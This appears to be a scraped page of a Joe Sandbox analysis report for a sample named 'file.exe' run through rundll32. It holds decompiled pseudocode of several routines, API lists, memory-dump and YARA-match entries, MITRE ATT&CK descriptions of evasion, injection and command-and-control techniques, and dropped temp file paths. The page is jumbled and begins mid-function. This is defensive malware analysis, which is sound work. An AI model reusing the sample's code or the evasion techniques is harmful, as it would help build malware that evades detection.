				if (sil == 0) goto 0x3c8fc6b7;
				_t54 =  *_v80;
				if ((_t54 & 0x00000001) != 0) goto 0x3c8fc6b4;
				asm("lock inc ecx");
				if (_t54 != _t54) goto 0x3c8fc68a;
				dil = 1;
				goto 0x3c8fc6d4;
				asm("lock inc ecx");
				if ( *_v80 !=  *_v80) goto 0x3c8fc6b7;
				dil = 1;
				if (dil == 0) goto 0x3c8fc645;
				if (sil == 0) goto 0x3c8fc6f6;
				_t45 = GetCurrentThreadId();
				_t103 = _v80;
				 *(_t103 + 8) = _t45;
				 *((intOrPtr*)(_t103 + 4)) = 1;
				return 0;
			}

0x2633c8fc54f
0x2633c8fc553
0x2633c8fc559
0x2633c8fc561
0x2633c8fc56c
0x2633c8fc574
0x2633c8fc580
0x2633c8fc58b
0x2633c8fc58e
0x2633c8fc598
0x2633c8fc59d
0x2633c8fc5a9
0x2633c8fc5ae
0x2633c8fc5ba
0x2633c8fc5c3
0x2633c8fc5d1
0x2633c8fc5d7
0x2633c8fc5d9
0x2633c8fc5de
0x2633c8fc5e2
0x2633c8fc5e5
0x2633c8fc5ec
0x2633c8fc5ef
0x2633c8fc5f8
0x2633c8fc5fd
0x2633c8fc604
0x2633c8fc60a
0x2633c8fc611
0x2633c8fc616
0x2633c8fc61b
0x2633c8fc620
0x2633c8fc626
0x2633c8fc62a
0x2633c8fc63b
0x2633c8fc642
0x2633c8fc64a
0x2633c8fc651
0x2633c8fc65b
0x2633c8fc65e
0x2633c8fc66a
0x2633c8fc671
0x2633c8fc67d
0x2633c8fc681
0x2633c8fc688
0x2633c8fc68e
0x2633c8fc698
0x2633c8fc6a8
0x2633c8fc6af
0x2633c8fc6b1
0x2633c8fc6b5
0x2633c8fc6c8
0x2633c8fc6cf
0x2633c8fc6d1
0x2633c8fc6d7
0x2633c8fc6e1
0x2633c8fc6e3
0x2633c8fc6e8
0x2633c8fc6ec
0x2633c8fc6ef
0x2633c8fc705

APIs

Part of subcall function 000002633C8FCB80: GetCurrentThreadId.KERNEL32 ref: 000002633C8FCB88

GetTickCount.KERNEL32 ref: 000002633C8FC586
GetTickCount.KERNEL32 ref: 000002633C8FC59F
GetCurrentThreadId.KERNEL32 ref: 000002633C8FC5D9
GetTickCount.KERNEL32 ref: 000002633C8FC60C
GetTickCount.KERNEL32 ref: 000002633C8FC645
GetTickCount.KERNEL32 ref: 000002633C8FC673
GetCurrentThreadId.KERNEL32 ref: 000002633C8FC6E3

Memory Dump Source

Source File: 0000000B.00000002.660376067.000002633C8F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002633C8F0000, based on PE: true

Associated: 0000000B.00000002.660376067.000002633C911000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB58000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB5C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB64000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2633c8f0000_rundll32.jbxd

Similarity

API ID: CountTick$CurrentThread
String ID:
API String ID: 3968769311-0
Opcode ID: cc9276658c13988ce8bb7aa02ef36cbb53cd258b08a6c2996078ae946a461b75
Instruction ID: 78922f7b5c0d7199a0d2ab5194ea8dec0f9a1c9de170f21a88b694cb904d700c
Opcode Fuzzy Hash: cc9276658c13988ce8bb7aa02ef36cbb53cd258b08a6c2996078ae946a461b75
Instruction Fuzzy Hash: 8451C132204601C9EB75DE39A84839E3A90E7487ACF156369ED0D8B794DA37CFE186D0

Uniqueness

Uniqueness Score: -1.00%

Function 000002633C903650 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 138
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 55%

			E000002632633C903650(void* __ecx, long long* __rax, long long __rcx, signed int __rdx, signed int __r9) {
				void* _v48;
				char _v604;
				void* _v648;
				char _v1170;
				intOrPtr _v1180;
				signed int _v1192;
				long long _v1200;
				signed int _t69;
				short* _t107;
				void* _t129;
				short* _t145;
				short* _t146;
				signed long long _t148;
				signed int* _t150;
				signed long long _t161;

				_t150 =  &_v1192;
				_v1200 = __rcx;
				_v1192 = __rdx;
				_v1180 = r8d;
				GetModuleHandleW(??);
				if (__rax == 0) goto 0x3c9036c7;
				GetProcAddress(??, ??);
				if (__rax == 0) goto 0x3c9036c7;
				r8d = 0x105;
				if ( *__rax() == 0) goto 0x3c9036c7;
				E000002632633C902E20(_t61, _v1180, _v1192,  &_v1170);
				goto 0x3c903853;
				if ( *_v1192 != 0x5c) goto 0x3c90371a;
				if ( *((short*)(_v1192 + 2)) != 0x5c) goto 0x3c903853;
				_t107 = _v1192;
				E000002632633C903620(__ecx, _t107 + 4);
				_t146 = _t107;
				if ( *_t146 == 0) goto 0x3c903853;
				_t17 = _t146 + 2; // 0x2
				E000002632633C903620(__ecx, _t17);
				if ( *_t107 == 0) goto 0x3c903853;
				goto 0x3c903722;
				_t148 = _v1192 + 4;
				asm("dec eax");
				if (r13d + 1 - 0x105 > 0) goto 0x3c903853;
				E000002632633C902E20(r13d + 1, r13d + 1,  &_v1170, _v1192);
				goto 0x3c903839;
				_t69 = E000002632633C903620(2, _t148 + 2);
				_t145 = _t148 +  ~_v1192;
				_t129 = _t145 +  ~_t148;
				r9d = 2;
				asm("dec eax");
				if (r13d + _t129 + 1 - 0x105 > 0) goto 0x3c903853;
				_t161 = r13d;
				r9d = 2;
				asm("dec eax");
				E000002632633C902E20(_t69 / __r9 / __r9, _t69 / __r9 % __r9 + 1, _t150 + 0x46 + _t161 * 2, _t148);
				0x3c8f6af0();
				if (_t129 == 0xffffffff) goto 0x3c903853;
				0x3c8f6ae0();
				if (r13d + lstrlenW(??) + 2 - 0x105 > 0) goto 0x3c903853;
				 *((short*)(_t150 + 0x46 + _t161 * 2)) = 0x5c;
				E000002632633C902E20(_t73, 0x104 - r13d, _t150 + 0x48 + _t161 * 2,  &_v604);
				r13d = r13d + lstrlenW(??);
				r13d = r13d + 1;
				if ( *_t145 != 0) goto 0x3c903761;
				return E000002632633C902E20(_t75, _v1180, _v1192,  &_v1170);
			}

0x2633c90365f
0x2633c903662
0x2633c903666
0x2633c90366a
0x2633c903679
0x2633c903681
0x2633c90368d
0x2633c90369b
0x2633c9036a5
0x2633c9036b0
0x2633c9036bd
0x2633c9036c2
0x2633c9036cf
0x2633c9036da
0x2633c9036e4
0x2633c9036ec
0x2633c9036f1
0x2633c9036f8
0x2633c903702
0x2633c903706
0x2633c903712
0x2633c903718
0x2633c90371e
0x2633c903733
0x2633c903747
0x2633c903757
0x2633c90375c
0x2633c903769
0x2633c90376e
0x2633c903777
0x2633c90377e
0x2633c903788
0x2633c903799
0x2633c90379f
0x2633c9037a7
0x2633c9037b1
0x2633c9037c2
0x2633c9037d2
0x2633c9037db
0x2633c9037e0
0x2633c9037ff
0x2633c903801
0x2633c90381e
0x2633c90382f
0x2633c903832
0x2633c90383d
0x2633c903865

APIs

GetModuleHandleW.KERNEL32 ref: 000002633C903679
GetProcAddress.KERNEL32 ref: 000002633C90368D
lstrlenW.KERNEL32 ref: 000002633C9037EC
lstrlenW.KERNEL32 ref: 000002633C90382A

Strings

kernel32.dll, xrefs: 000002633C903672
GetLongPathNameW, xrefs: 000002633C903686

Memory Dump Source

Source File: 0000000B.00000002.660376067.000002633C8F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002633C8F0000, based on PE: true

Associated: 0000000B.00000002.660376067.000002633C911000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB58000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB5C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB64000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2633c8f0000_rundll32.jbxd

Similarity

API ID: lstrlen$AddressHandleModuleProc
String ID: GetLongPathNameW$kernel32.dll
API String ID: 585603171-568771998
Opcode ID: 5fecb98035c386748535ac0dfe4b6ca3174f387ca4b79b679e2896d493dca03c
Instruction ID: 1c20b2d6f38be80a7743fd1f162e8c572cfda91070f94f766981bb8a396176b4
Opcode Fuzzy Hash: 5fecb98035c386748535ac0dfe4b6ca3174f387ca4b79b679e2896d493dca03c
Instruction Fuzzy Hash: 8B510632600A60C9EB10DF25D8497D92760F348BDCF429196EE0E87BD5DA79C6D5C380

Uniqueness

Uniqueness Score: -1.00%

Function 000002633C8FE430 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32 ref: 000002633C8FE469
WriteFile.KERNEL32 ref: 000002633C8FE48D
GetStdHandle.KERNEL32 ref: 000002633C8FE498
WriteFile.KERNEL32 ref: 000002633C8FE4C7

Strings

Runtime error at 0000000000000000, xrefs: 000002633C8FE471, 000002633C8FE4D9
Error, xrefs: 000002633C8FE4E0

Memory Dump Source

Source File: 0000000B.00000002.660376067.000002633C8F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002633C8F0000, based on PE: true

Associated: 0000000B.00000002.660376067.000002633C911000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB58000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB5C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB64000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2633c8f0000_rundll32.jbxd

Similarity

API ID: FileHandleWrite
String ID: Error$Runtime error at 0000000000000000
API String ID: 3320372497-326393251
Opcode ID: 67ed1c185bf2256bb82ea25e13529ce8c0abb9fcf750b235f31ed88d1c4f03b0
Instruction ID: 0d4e28d1d648a6a9bfc448671942da450a183ba9ab9e00ef8c036ae6ec67b682
Opcode Fuzzy Hash: 67ed1c185bf2256bb82ea25e13529ce8c0abb9fcf750b235f31ed88d1c4f03b0
Instruction Fuzzy Hash: FD113071506A40D5FA54DB20F81D3966360EB54754F84439AE99A0E7D2DB7E83F4C3C2

Uniqueness

Uniqueness Score: -1.00%

Function 000002633C9032F0 Relevance: 6.1, APIs: 4, Instructions: 106
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E000002632633C9032F0(void* __ecx, void* __rax, void* __rcx, void* __rdx, void* __r8, void* __r9) {
				void* _v40;
				char _v44;
				char _v48;
				signed long long _v52;
				short _v54;
				short _v56;
				signed short _v58;
				void* _v64;
				void* _t54;
				signed int _t64;
				void* _t74;
				signed long long _t75;
				void* _t98;
				void* _t100;

				_t74 = __rax;
				_t100 = __rdx;
				_t64 = r8d;
				if ( *0x3cb56ee8() == _t64) goto 0x3c90338a;
				E000002632633C903290(__rax,  &_v44);
				_v52 = 3;
				r8d = _t64;
				r8w = r8w & 0x0000000f;
				_v58 =  *(0x3cb239fc + (r8w & 0xffffffff)) & 0x000000ff;
				r8d = 0x10;
				_v52 = _v52 - 1;
				if (_v52 != 0xffffffff) goto 0x3c903330;
				_v56 = 0;
				_v54 = 0;
				 *0x3cb56ee0();
				E000002632633C903290(_t74,  &_v48);
				_t98 = _t74;
				if (_t98 == 0) goto 0x3c9033e3;
				_t54 = _v48 - 2;
				_v52 = 0;
				if (_v52 - _t54 > 0) goto 0x3c9033cf;
				_t75 = _v52;
				if ( *((short*)(_t98 + _t75 * 2)) != 0) goto 0x3c9033c4;
				 *((short*)(_t98 + _t75 * 2)) = 0x2c;
				_v52 = _v52 + 1;
				if (_t54 + 1 - 1 != 0) goto 0x3c9033b3;
				E000002632633C900340((_t64 & 0x0000ffff) % r8d, _t100, _t98);
				E000002632633C8F9080(_t98);
				if (_t74 == 0) goto 0x3c903446;
				 *0x3cb56ee0();
				E000002632633C903290(_t75,  &_v48);
				if (_v44 != _v48) goto 0x3c903423;
				r9d = _v48;
				if (E000002632633C903260(0, _t74, _t75) == 0) goto 0x3c903436;
				 *0x3cb56ee0();
				E000002632633C8F9080(_t75);
				return E000002632633C8F9080(_t74);
			}

0x2633c9032f0
0x2633c903300
0x2633c903303
0x2633c903312
0x2633c90331b
0x2633c903325
0x2633c903337
0x2633c90333a
0x2633c903349
0x2633c90334f
0x2633c90335b
0x2633c903367
0x2633c90336a
0x2633c903370
0x2633c903384
0x2633c903391
0x2633c903396
0x2633c90339c
0x2633c9033a3
0x2633c9033a6
0x2633c9033ac
0x2633c9033b3
0x2633c9033bc
0x2633c9033be
0x2633c9033c4
0x2633c9033cd
0x2633c9033d6
0x2633c9033de
0x2633c9033e6
0x2633c9033f0
0x2633c9033fd
0x2633c90340b
0x2633c903416
0x2633c903421
0x2633c903430
0x2633c903439
0x2633c903453

APIs

GetThreadUILanguage.KERNEL32 ref: 000002633C903309
SetThreadPreferredUILanguages.KERNEL32 ref: 000002633C903384
SetThreadPreferredUILanguages.KERNEL32 ref: 000002633C9033F0
SetThreadPreferredUILanguages.KERNEL32 ref: 000002633C903430

Part of subcall function 000002633C903290: GetThreadPreferredUILanguages.KERNEL32 ref: 000002633C9032B5
Part of subcall function 000002633C903290: GetThreadPreferredUILanguages.KERNEL32 ref: 000002633C9032DE

Memory Dump Source

Source File: 0000000B.00000002.660376067.000002633C8F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002633C8F0000, based on PE: true

Associated: 0000000B.00000002.660376067.000002633C911000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB58000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB5C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB64000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2633c8f0000_rundll32.jbxd

Similarity

API ID: Thread$LanguagesPreferred$Language
String ID:
API String ID: 2255706666-0
Opcode ID: ed9bd102292187f7d00f0aa8ef369e84f4b91ab9ae97f029c3d64cc4c8747433
Instruction ID: 1436256c7c278d6fa6bb9fcdff1dfa8b9693a70b105f2259f875dbd291e32cbe
Opcode Fuzzy Hash: ed9bd102292187f7d00f0aa8ef369e84f4b91ab9ae97f029c3d64cc4c8747433
Instruction Fuzzy Hash: A941E672301560C9EB45DF35C6582EA23A1FB487CCF456165FA078BB89DA3ACAD5C380

Uniqueness

Uniqueness Score: -1.00%

Function 000002633C8F8010 Relevance: 6.1, APIs: 4, Instructions: 55
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32 ref: 000002633C8F805A
WriteFile.KERNEL32 ref: 000002633C8F8093
GetStdHandle.KERNEL32 ref: 000002633C8F809E
WriteFile.KERNEL32 ref: 000002633C8F80C4

Memory Dump Source

Source File: 0000000B.00000002.660376067.000002633C8F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002633C8F0000, based on PE: true

Associated: 0000000B.00000002.660376067.000002633C911000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB58000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB5C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB64000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2633c8f0000_rundll32.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 32d2737d7954deb9b816b4cbf8e737f8a8fea8e6ae6ed71697e1631b078d5fac
Instruction ID: 17b4560e59ebd10670a3d180124f4d0a5a20d92602959e3e2a78f3b3fb659e12
Opcode Fuzzy Hash: 32d2737d7954deb9b816b4cbf8e737f8a8fea8e6ae6ed71697e1631b078d5fac
Instruction Fuzzy Hash: B9118F32321454C4F615EA72AC097DA6355A785BD8F4443A6FE4A4BBC6CE3A83E183D1

Uniqueness

Uniqueness Score: -1.00%

Source: Yara match	File source: 00000001.00000003.305982722.000000007DEE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.310891482.000000007DFD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 780, type: MEMORYSTR

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Network protocol analysis
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\0164771190

C:\Users\user\AppData\Local\Temp\0409654664

C:\Users\user\AppData\Local\Temp\1670291037

C:\Users\user\AppData\Local\Temp\1809927897

C:\Users\user\AppData\Local\Temp\2162403398

C:\Users\user\AppData\Local\Temp\3118691078

C:\Users\user\AppData\Local\Temp\4319908881

C:\Users\user\AppData\Local\Temp\4478492829

C:\Users\user\AppData\Local\Temp\4618732626

C:\Users\user\AppData\Local\Temp\4676012234

C:\Users\user\AppData\Local\Temp\4736274156

C:\Users\user\AppData\Local\Temp\5911976538

C:\Users\user\AppData\Local\Temp\6213653276

Windows Analysis Report
file.exe

Function 000002633C9038A0 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 149
registryCOMMON

Function 00650244 Relevance: 3.1, APIs: 2, Instructions: 84
libraryCOMMON

Function 000002633C8F73F0 Relevance: 4.6, APIs: 3, Instructions: 65
COMMON

Function 000002633C8FE7E0 Relevance: 1.5, APIs: 1, Instructions: 43
threadCOMMON

Function 0065014E Relevance: 1.5, APIs: 1, Instructions: 33
COMMON

Function 00650072 Relevance: 1.3, APIs: 1, Instructions: 91
memoryCOMMON

Function 000002633C8F7270 Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMON

Function 000002633C8F7360 Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMON

Function 000002633C903030 Relevance: 4.6, APIs: 3, Instructions: 112
COMMON

Function 000002633C903F80 Relevance: 3.1, APIs: 2, Instructions: 58
COMMON

Function 000002633C903DD0 Relevance: 3.0, APIs: 2, Instructions: 27
fileCOMMON

Function 000002633C8FC1D0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 59
libraryloaderCOMMON

Function 000002633C903460 Relevance: 12.1, APIs: 8, Instructions: 88
COMMON

Function 000002633C8FC540 Relevance: 10.6, APIs: 7, Instructions: 146
threadCOMMON

Function 000002633C903650 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 138
stringlibraryloaderCOMMON